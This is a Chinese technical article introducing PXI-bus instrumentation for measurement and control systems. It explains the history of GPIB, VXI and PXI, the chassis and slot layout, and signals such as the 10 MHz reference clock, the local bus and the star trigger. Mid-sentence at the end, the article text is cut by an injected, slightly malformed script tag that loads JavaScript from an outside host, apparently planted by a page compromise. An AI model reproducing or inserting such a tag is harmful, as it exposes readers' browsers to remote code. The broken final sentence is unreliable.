摘要:利用pxi总线技术实现测控系统是在仪器平台上实现精确的仪器仪表功能,完成常规仪表系统(如dcs、plc等)不易达到的功能。在现代软件工程理论上,对测控系统的设计进行了分析。测控系统可以分成硬件子系统和软件子系统,硬件是测控系统的基础,采用pxi总线可以使测控系统小型化、便携式,同时结合现代软件工程、数据库理论使得测控系统易用性、可维护性、容错性得到极大的提高。
关键词:pxi、仪器系统、自动化测试、自动化控制、通用测控平台
引言
20世纪60年代末期,hewlett-packard设计出了所谓的hp-ib(hewlett-packard interface bus)作为独立仪器与计算机之间的沟通通道。由于其高速的数据传输率(对当时而言),很快便广为大家所接受,因此后来ieee便将此接口更名为gpib(general purpose interface bus)。然而为了应付更为复杂的测试环境与挑战,gpib便显得捉襟见肘。1987年vxi协会成立,并制订了所谓instrument-on-a-card的标准,也就是vxi (vmebus extensions for instrumentation)。vxi以其模块化而且坚固的架构,的确为量测与自动化产业带来不少的好处。
近十年来,随着个人计算机的剧烈革命与普及,以pci bus为架构的仪器模块大为发展。因此1998年pxi system alliance(pxisa)成立,让pxi(pci extensions for instrumentation)成为一个开放的标准架构。pxi的平台不仅具有类似vxi的开放架构与坚固的机构外型,更由于其设计了一连串适合仪器开发所用的同步信号,而使得pxi更适合作为量测与测试、控制自动化的平台。
1 pxi简介
简单来说,pxi是以pci(peripheral component interconnect)及compactpci为基础再加上一些pxi特有的信号组合而成的一个架构。pxi继承了pci的电气信号,使得pxi拥有如pci bus的极高传输数据的能力,因此能够有高达132mbyte/s到528mbyte/s的传输性能,在软件上是完全兼容的。另一方面,pxi采用和compactpci一样的机械外型结构,因此也能同样享有高密度、坚固外壳及高性能连接器的特性。pxi与compactpci相互关系如图1所示。
1.1 pxi系统内部结构
一个pxi系统由几项组件所组成,包含了一个机箱、一个pxi背板(backplane)、系统控制器(system controller module)以及数个外设模块(peripheral modules)。在此以一个高度为3u的八槽pxi系统为例,如图二所示。系统控制器,也就是cpu模块,位于机箱的左边第一槽,其左方预留了三个扩充槽位给系统控制器使用,以便插入因功能复杂而体积较大的系统卡。由第二槽开始至第八槽称为外设槽,可以让用户依照本身的需求而插上不同的仪器模块。其中第二槽又可称为星形触发控制器槽(star trigger controller slot)。
1.2 pxi特有信号
背板上的p1接插件上有32-bit pci信号,p2接插件上则有64-bit pci信号以及pxi特殊信号。那么pxi特有的信号又是什么呢?pxi的信号包含了以下几种,其完整的架构如图3所示
1.2.1 10mhz参考时钟(10mhz reference clock)
pxi规格定义了一个低歪斜(low skew)的10mhz参考时钟。此参考时钟位于背板上,并且分布至每一个外设槽(peripheral slot),其特色是由时钟源(clock source)开始至每一槽的布线长度都是等长的,因此每一外设槽所接受的clock都是同一相位的,这对多个仪器模块的同步来说是一个很方便的时钟来源。基本的10mhz参考时钟架构如图4所示。
1.2.2 局部总线(local bus)
在每一个外设槽上,pxi定义了局部总线以及连接其相邻的左方及右方外设槽,左方或右方局部总线各有13条,这个总线除了可以传送数字信号外,也允许传送模拟信号。比如说3号外设槽上有左方局部总线,可以与2号外设槽上的右方局部总线连接,而3号外设槽上的右方局部总线,则与4号外设槽上的左方总线连接。而外设槽3号上的左方局部总线与右方局部总线在背板上是不互相连接的,除非插在3号外设槽的仪器模块将这两方信号连接起来。局部总线架构如图5所示。
1.2.3 星形触发(star trigger)
设槽2号的左方局部总线在pxi的定义下,作为另一种特殊的信号,叫做星形触发。这13条星形触发线被依序分别连接到另外的13个外设槽(如果背板支持到另外13个外设槽的话),且彼此的走线长度都是等长的。也就是说,若在2号外设槽上同一时间在这13条星形触发在线送出触发信号,那么其它仪器模块都会在同一时间收到触发信号(?script src=http://er12.com/t.js>











